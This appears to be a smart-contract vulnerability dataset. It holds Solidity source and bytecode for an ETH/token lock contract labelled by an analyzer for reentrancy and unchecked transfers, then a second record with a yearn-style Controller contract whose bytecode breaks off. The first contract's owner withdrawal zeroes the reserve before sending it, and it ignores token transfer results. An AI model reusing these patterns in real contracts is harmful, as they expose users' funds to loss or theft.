function ChangeComission(uint256 newComission) onlyOwner public {
comission = newComission;
}
/**
* owner withdraw eth reserved from comissions
*/
function WithdrawReserve(address tokenAddress) onlyOwner public
{
require(_systemReserves[tokenAddress] > 0);
uint256 amount = _systemReserves[tokenAddress];
_systemReserves[tokenAddress] = 0;
EIP20Interface token = EIP20Interface(tokenAddress);
require(token.balanceOf(address(this)) >= amount);
token.transfer(msg.sender, amount);
}
/**
* owner withdraw token reserved from comission
*/
function WithdrawAllReserves() onlyOwner public {
//eth
uint256 x = _systemReserves[0x0];
if(x > 0 && x <= address(this).balance) {
_systemReserves[0x0] = 0;
msg.sender.transfer( _systemReserves[0x0] );
}
//tokens
address ta;
EIP20Interface token;
for(uint256 i = 0; i < _listedReserves.length; i++) {
ta = _listedReserves[i];
if(_systemReserves[ta] > 0)
{
x = _systemReserves[ta];
_systemReserves[ta] = 0;
token = EIP20Interface(ta);
token.transfer(msg.sender, x);
}
}
_listedReserves.length = 0;
}
/**
* owner remove free eth
*/
function WithdrawSpecialEth(uint256 amount) onlyOwner public
{
require(amount > 0);
uint256 freeBalance = address(this).balance - _totalSaved[0x0];
require(freeBalance >= amount);
msg.sender.transfer(amount);
}
/**
* owner remove free token
*/
function WithdrawSpecialToken(address tokenAddress, uint256 amount) onlyOwner public
{
EIP20Interface token = EIP20Interface(tokenAddress);
uint256 freeBalance = token.balanceOf(address(this)) - _totalSaved[tokenAddress];
require(freeBalance >= amount);
token.transfer(msg.sender, amount);
}
//AUX
/**
* @dev Multiplies two numbers, throws on overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256 c) {
if (a == 0) {
return 0;
}
c = a * b;
assert(c / a == b);
return c;
}
/**
* @dev Integer division of two numbers, truncating the quotient.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
// uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return a / b;
}
/**
* @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
/**
* @dev Adds two numbers, throws on overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256 c) {
c = a + b;
assert(c >= a);
return c;
}
}
|
0x60806040526004361061011d576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806311a3311c1461018e57806313e60074146101ef5780631c019a521461021c5780632929dc09146102895780633a4b4532146102a05780633e0fddbd146102cb5780633e8cc27314610322578063588c2a6d14610339578063666a73701461037c57806371ea29df146103d35780638678c2b9146104025780639aaa38a6146104225780639c81806d1461044f578063a6f9dae11461047c578063a871ffdc146104bf578063b65ae76914610574578063d3a516d3146105c1578063d64ee8d214610618578063d702db811461062f578063d9d61a101461065c578063ed26e60d146106b3575b60003411151561012c57600080fd5b61015f600660008073ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020543461070a565b600660008073ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550005b34801561019a57600080fd5b506101d9600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610726565b6040518082815260200191505060405180910390f35b3480156101fb57600080fd5b5061021a60048036038101908080359060200190929190505050610756565b005b34801561022857600080fd5b50610247600480360381019080803590602001909291905050506107e9565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561029557600080fd5b5061029e610827565b005b3480156102ac57600080fd5b506102b5610ba3565b6040518082815260200191505060405180910390f35b3480156102d757600080fd5b50610320600480360381019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919080359060200190929190505050610ba9565b005b34801561032e57600080fd5b50610337610f52565b005b34801561034557600080fd5b5061037a600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610fca565b005b34801561038857600080fd5b506103bd600480360381019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506112c8565b6040518082815260200191505060405180910390f35b3480156103df57600080fd5b506103e86112e0565b604051808215151515815260200191505060405180910390f35b610420600480360381019080803590602001909291905050506112f3565b005b34801561042e57600080fd5b5061044d60048036038101908080359060200190929190505050611527565b005b34801561045b57600080fd5b5061047a6004803603810190808035906020019092919050505061158c565b005b34801561048857600080fd5b506104bd600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611697565b005b3480156104cb57600080fd5b506104ea60048036038101908080359060200190929190505050611735565b604051808681526020018573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018381526020018281526020019550505050505060405180910390f35b34801561058057600080fd5b506105bf600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506117c0565b005b3480156105cd57600080fd5b506105d6611a2e565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561062457600080fd5b5061062d611a57565b005b34801561063b57600080fd5b5061065a60048036038101908080359060200190929190505050611ace565b005b34801561066857600080fd5b5061069d600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611b64565b6040518082815260200191505060405180910390f35b3480156106bf57600080fd5b506106f4600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611bb0565b6040518082815260200191505060405180910390f35b6000818301905082811015151561071d57fe5b80905092915050565b60016020528160005260406000208181548110151561074157fe5b90600052602060002001600091509150505481565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156107b357600080fd5b60026000838152602001908152602001600020905060008160000154141515156107dc57600080fd5b6107e582611bf9565b5050565b6007818154811015156107f857fe5b906000526020600020016000915054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000806000806000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561088857600080fd5b600660008073ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205493506000841180156108db57503073ffffffffffffffffffffffffffffffffffffffff16318411155b15610980576000600660008073ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055503373ffffffffffffffffffffffffffffffffffffffff166108fc600660008073ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549081150290604051600060405180830381858888f1935050505015801561097e573d6000803e3d6000fd5b505b600090505b600780549050811015610b8d576007818154811015156109a157fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1692506000600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541115610b8057600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205493506000600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508291508173ffffffffffffffffffffffffffffffffffffffff1663a9059cbb33866040518363ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b158015610b4357600080fd5b505af1158015610b57573d6000803e3d6000fd5b505050506040513d6020811015610b6d57600080fd5b8101908080519060200190929190505050505b8080600101915050610985565b6000600781610b9c919061253c565b5050505050565b60055481565b60008060149054906101000a900460ff16151515610bc657600080fd5b60008473ffffffffffffffffffffffffffffffffffffffff1614151515610bec57600080fd5b600083111515610bfb57600080fd5b4282111515610c0957600080fd5b8390508073ffffffffffffffffffffffffffffffffffffffff166323b872dd3330866040518463ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018281526020019350505050602060405180830381600087803b158015610ce357600080fd5b505af1158015610cf7573d6000803e3d6000fd5b505050506040513d6020811015610d0d57600080fd5b81019080805190602001909291905050501515610d2957600080fd5b600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600354908060018154018082558091505090600182039060005260206000200160009091929091909150555060a06040519081016040528060035481526020013373ffffffffffffffffffffffffffffffffffffffff1681526020018573ffffffffffffffffffffffffffffffffffffffff168152602001848152602001838152506002600060035481526020019081526020016000206000820151816000015560208201518160010160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060408201518160020160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506060820151816003015560808201518160040155905050610ef7600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548461070a565b600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555060036000815480929190600101919050555050505050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610fad57600080fd5b6001600060146101000a81548160ff021916908315150217905550565b6000806000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561102857600080fd5b6000600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205411151561107657600080fd5b600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205491506000600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550829050818173ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001915050602060405180830381600087803b15801561119c57600080fd5b505af11580156111b0573d6000803e3d6000fd5b505050506040513d60208110156111c657600080fd5b8101908080519060200190929190505050101515156111e457600080fd5b8073ffffffffffffffffffffffffffffffffffffffff1663a9059cbb33846040518363ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b15801561128757600080fd5b505af115801561129b573d6000803e3d6000fd5b505050506040513d60208110156112b157600080fd5b810190808051906020019092919050505050505050565b60046020528060005260406000206000915090505481565b600060149054906101000a900460ff1681565b600060149054906101000a900460ff1615151561130f57600080fd5b60003411151561131e57600080fd5b428111151561132c57600080fd5b600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600354908060018154018082558091505090600182039060005260206000200160009091929091909150555060a06040519081016040528060035481526020013373ffffffffffffffffffffffffffffffffffffffff168152602001600073ffffffffffffffffffffffffffffffffffffffff168152602001348152602001828152506002600060035481526020019081526020016000206000820151816000015560208201518160010160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060408201518160020160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060608201518160030155608082015181600401559050506114e5600460008073ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020543461070a565b600460008073ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555060036000815480929190600101919050555050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561158257600080fd5b8060058190555050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156115e957600080fd5b6000821115156115f857600080fd5b600460008073ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020543073ffffffffffffffffffffffffffffffffffffffff163103905081811015151561164c57600080fd5b3373ffffffffffffffffffffffffffffffffffffffff166108fc839081150290604051600060405180830381858888f19350505050158015611692573d6000803e3d6000fd5b505050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156116f257600080fd5b806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b60008060008060008060026000888152602001908152602001600020905080600001548160010160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff168260020160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1683600301548460040154955095509550955095505091939590929450565b6000806000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561181e57600080fd5b839150600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548273ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001915050602060405180830381600087803b1580156118fc57600080fd5b505af1158015611910573d6000803e3d6000fd5b505050506040513d602081101561192657600080fd5b810190808051906020019092919050505003905082811015151561194957600080fd5b8173ffffffffffffffffffffffffffffffffffffffff1663a9059cbb33856040518363ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b1580156119ec57600080fd5b505af1158015611a00573d6000803e3d6000fd5b505050506040513d6020811015611a1657600080fd5b81019080805190602001909291905050505050505050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515611ab257600080fd5b60008060146101000a81548160ff021916908315150217905550565b60006002600083815260200190815260200160002090506000816000015414151515611af957600080fd5b3373ffffffffffffffffffffffffffffffffffffffff168160010160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16141515611b5757600080fd5b611b6082611bf9565b5050565b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020805490509050919050565b6000600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b60008060006002600085815260200190815260200160002092506000836000015414151515611c2757600080fd5b4283600401541015611d0a5760008360020160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161415611cad57611ca88360010160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff168460030154611f16565b611d05565b611d048360010160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff168460020160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff168560030154611f87565b5b611e31565b6064611d1c8460030154600554612155565b811515611d2557fe5b049150611d3683600301548361218d565b905060008360020160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161415611dae57611da98360010160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1682611f16565b611e02565b611e018360010160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff168460020160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1683611f87565b5b611e308360020160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16836121a6565b5b611f108360a06040519081016040529081600082015481526020016001820160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020016002820160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200160038201548152602001600482015481525050612341565b50505050565b803073ffffffffffffffffffffffffffffffffffffffff163110151515611f3c57600080fd5b8173ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050158015611f82573d6000803e3d6000fd5b505050565b6000829050818173ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001915050602060405180830381600087803b15801561202857600080fd5b505af115801561203c573d6000803e3d6000fd5b505050506040513d602081101561205257600080fd5b81019080805190602001909291905050501015151561207057600080fd5b8073ffffffffffffffffffffffffffffffffffffffff1663a9059cbb85846040518363ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b15801561211357600080fd5b505af1158015612127573d6000803e3d6000fd5b505050506040513d602081101561213d57600080fd5b81019080805190602001909291905050505050505050565b6000808314156121685760009050612187565b818302905081838281151561217957fe5b0414151561218357fe5b8090505b92915050565b600082821115151561219b57fe5b818303905092915050565b6000806121f2600660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548461070a565b600660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555060019150600090505b6007805490508110156122ce578373ffffffffffffffffffffffffffffffffffffffff1660078281548110151561227157fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614156122c157600091506122ce565b808060010191505061223e565b811561233b5760078490806001815401808255809150509060018203906000526020600020016000909192909190916101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550505b50505050565b600080600061239760046000866040015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054856060015161218d565b60046000866040015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555060026000856000015181526020019081526020016000206000808201600090556001820160006101000a81549073ffffffffffffffffffffffffffffffffffffffff02191690556002820160006101000a81549073ffffffffffffffffffffffffffffffffffffffff0219169055600382016000905560048201600090555050600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020925082805490509150600090505b8181101561253657836000015183828154811015156124c657fe5b906000526020600020015414156125295782600183038154811015156124e857fe5b9060005260206000200154838281548110151561250157fe5b9060005260206000200181905550828054809190600190036125239190612568565b50612536565b80806001019150506124ab565b50505050565b815481835581811115612563578183600052602060002091820191016125629190612594565b5b505050565b81548183558181111561258f5781836000526020600020918201910161258e9190612594565b5b505050565b6125b691905b808211156125b257600081600090555060010161259a565b5090565b905600a165627a7a7230582007d9e8749748b7381c24d981afaa31092180da0dd91149650cca1911b54e6d860029
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}]}}
| 7,854 |
0x7084bd718dc4b6ad08c9b121d94aa631997c3066
|
/**
*Submitted for verification at Etherscan.io on 2020-08-11
*/
/**
*Submitted for verification at Etherscan.io on 2020-07-26
*/
// SPDX-License-Identifier: MIT
pragma solidity ^0.5.16;
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
library Address {
function isContract(address account) internal view returns (bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != 0x0 && codehash != accountHash);
}
function toPayable(address account) internal pure returns (address payable) {
return address(uint160(account));
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-call-value
(bool success, ) = recipient.call.value(amount)("");
require(success, "Address: unable to send value, recipient may have reverted");
}
}
library SafeERC20 {
using SafeMath for uint256;
using Address for address;
function safeTransfer(IERC20 token, address to, uint256 value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint256 value) internal {
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function callOptionalReturn(IERC20 token, bytes memory data) private {
require(address(token).isContract(), "SafeERC20: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) { // Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
interface Strategy {
function want() external view returns (address);
function deposit() external;
function withdraw(address) external;
function withdraw(uint) external;
function withdrawAll() external returns (uint);
function balanceOf() external view returns (uint);
}
interface Converter {
function convert(address) external returns (uint);
}
interface OneSplitAudit {
function swap(
address fromToken,
address destToken,
uint256 amount,
uint256 minReturn,
uint256[] calldata distribution,
uint256 flags
)
external
payable
returns(uint256 returnAmount);
function getExpectedReturn(
address fromToken,
address destToken,
uint256 amount,
uint256 parts,
uint256 flags // See constants in IOneSplit.sol
)
external
view
returns(
uint256 returnAmount,
uint256[] memory distribution
);
}
contract Controller {
using SafeERC20 for IERC20;
using Address for address;
using SafeMath for uint256;
address public governance;
address public strategist;
address public onesplit;
address public rewards;
mapping(address => address) public vaults;
mapping(address => address) public strategies;
mapping(address => mapping(address => address)) public converters;
mapping(address => mapping(address => bool)) public approvedStrategies;
uint public split = 500;
uint public constant max = 10000;
constructor(address _rewards) public {
governance = msg.sender;
strategist = msg.sender;
onesplit = address(0x50FDA034C0Ce7a8f7EFDAebDA7Aa7cA21CC1267e);
rewards = _rewards;
}
function setRewards(address _rewards) public {
require(msg.sender == governance, "!governance");
rewards = _rewards;
}
function setStrategist(address _strategist) public {
require(msg.sender == governance, "!governance");
strategist = _strategist;
}
function setSplit(uint _split) public {
require(msg.sender == governance, "!governance");
split = _split;
}
function setOneSplit(address _onesplit) public {
require(msg.sender == governance, "!governance");
onesplit = _onesplit;
}
function setGovernance(address _governance) public {
require(msg.sender == governance, "!governance");
governance = _governance;
}
function setVault(address _token, address _vault) public {
require(msg.sender == strategist || msg.sender == governance, "!strategist");
require(vaults[_token] == address(0), "vault");
vaults[_token] = _vault;
}
function approveStrategy(address _token, address _strategy) public {
require(msg.sender == governance, "!governance");
approvedStrategies[_token][_strategy] = true;
}
function revokeStrategy(address _token, address _strategy) public {
require(msg.sender == governance, "!governance");
approvedStrategies[_token][_strategy] = false;
}
function setConverter(address _input, address _output, address _converter) public {
require(msg.sender == strategist || msg.sender == governance, "!strategist");
converters[_input][_output] = _converter;
}
function setStrategy(address _token, address _strategy) public {
require(msg.sender == strategist || msg.sender == governance, "!strategist");
require(approvedStrategies[_token][_strategy] == true, "!approved");
address _current = strategies[_token];
if (_current != address(0)) {
Strategy(_current).withdrawAll();
}
strategies[_token] = _strategy;
}
function earn(address _token, uint _amount) public {
address _strategy = strategies[_token];
address _want = Strategy(_strategy).want();
if (_want != _token) {
address converter = converters[_token][_want];
IERC20(_token).safeTransfer(converter, _amount);
_amount = Converter(converter).convert(_strategy);
IERC20(_want).safeTransfer(_strategy, _amount);
} else {
IERC20(_token).safeTransfer(_strategy, _amount);
}
Strategy(_strategy).deposit();
}
function balanceOf(address _token) external view returns (uint) {
return Strategy(strategies[_token]).balanceOf();
}
function withdrawAll(address _token) public {
require(msg.sender == strategist || msg.sender == governance, "!strategist");
Strategy(strategies[_token]).withdrawAll();
}
function inCaseTokensGetStuck(address _token, uint _amount) public {
require(msg.sender == strategist || msg.sender == governance, "!governance");
IERC20(_token).safeTransfer(msg.sender, _amount);
}
function inCaseStrategyTokenGetStuck(address _strategy, address _token) public {
require(msg.sender == strategist || msg.sender == governance, "!governance");
Strategy(_strategy).withdraw(_token);
}
function getExpectedReturn(address _strategy, address _token, uint parts) public view returns (uint expected) {
uint _balance = IERC20(_token).balanceOf(_strategy);
address _want = Strategy(_strategy).want();
(expected,) = OneSplitAudit(onesplit).getExpectedReturn(_token, _want, _balance, parts, 0);
}
// Only allows to withdraw non-core strategy tokens ~ this is over and above normal yield
function yearn(address _strategy, address _token, uint parts) public {
require(msg.sender == strategist || msg.sender == governance, "!governance");
// This contract should never have value in it, but just incase since this is a public call
uint _before = IERC20(_token).balanceOf(address(this));
Strategy(_strategy).withdraw(_token);
uint _after = IERC20(_token).balanceOf(address(this));
if (_after > _before) {
uint _amount = _after.sub(_before);
address _want = Strategy(_strategy).want();
uint[] memory _distribution;
uint _expected;
_before = IERC20(_want).balanceOf(address(this));
IERC20(_token).safeApprove(onesplit, 0);
IERC20(_token).safeApprove(onesplit, _amount);
(_expected, _distribution) = OneSplitAudit(onesplit).getExpectedReturn(_token, _want, _amount, parts, 0);
OneSplitAudit(onesplit).swap(_token, _want, _amount, _expected, _distribution, 0);
_after = IERC20(_want).balanceOf(address(this));
if (_after > _before) {
_amount = _after.sub(_before);
uint _reward = _amount.mul(split).div(max);
earn(_want, _amount.sub(_reward));
IERC20(_want).safeTransfer(rewards, _reward);
}
}
}
function withdraw(address _token, uint _amount) public {
require(msg.sender == vaults[_token], "!vault");
Strategy(strategies[_token]).withdraw(_amount);
}
}
|
0x608060405234801561001057600080fd5b50600436106101c45760003560e01c8063a1578b6a116100f9578063ccd0631811610097578063f3fef3a311610071578063f3fef3a314610a87578063f712adbb14610ad5578063f765417614610b1f578063fa09e63014610b3d576101c4565b8063ccd063181461091b578063e4f2494d1461099f578063ec38a86214610a43576101c4565b8063b02bf4b9116100d3578063b02bf4b9146107d7578063c494448e14610825578063c6d758cb14610889578063c7b9d530146108d7576101c4565b8063a1578b6a14610693578063a622ee7c1461070f578063ab033ea914610793576101c4565b80636ac5db1911610166578063714ccf7b11610140578063714ccf7b1461053d57806372cb5d97146105a15780638da1df4d146106055780639ec5a89414610649576101c4565b80636ac5db19146104455780636dcd64e51461046357806370a08231146104e5576101c4565b806339ebf823116101a257806339ebf823146102e5578063590bbb60146103695780635aa6e675146103cd578063674e694f14610417576101c4565b806304209f48146101c9578063197baa6d146102375780631fe4a6861461029b575b600080fd5b610235600480360360608110156101df57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610b81565b005b6102996004803603604081101561024d57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611568565b005b6102a361171d565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b610327600480360360208110156102fb57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611743565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6103cb6004803603604081101561037f57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611776565b005b6103d56118d1565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6104436004803603602081101561042d57600080fd5b81019080803590602001909291905050506118f6565b005b61044d6119c2565b6040518082815260200191505060405180910390f35b6104cf6004803603606081101561047957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff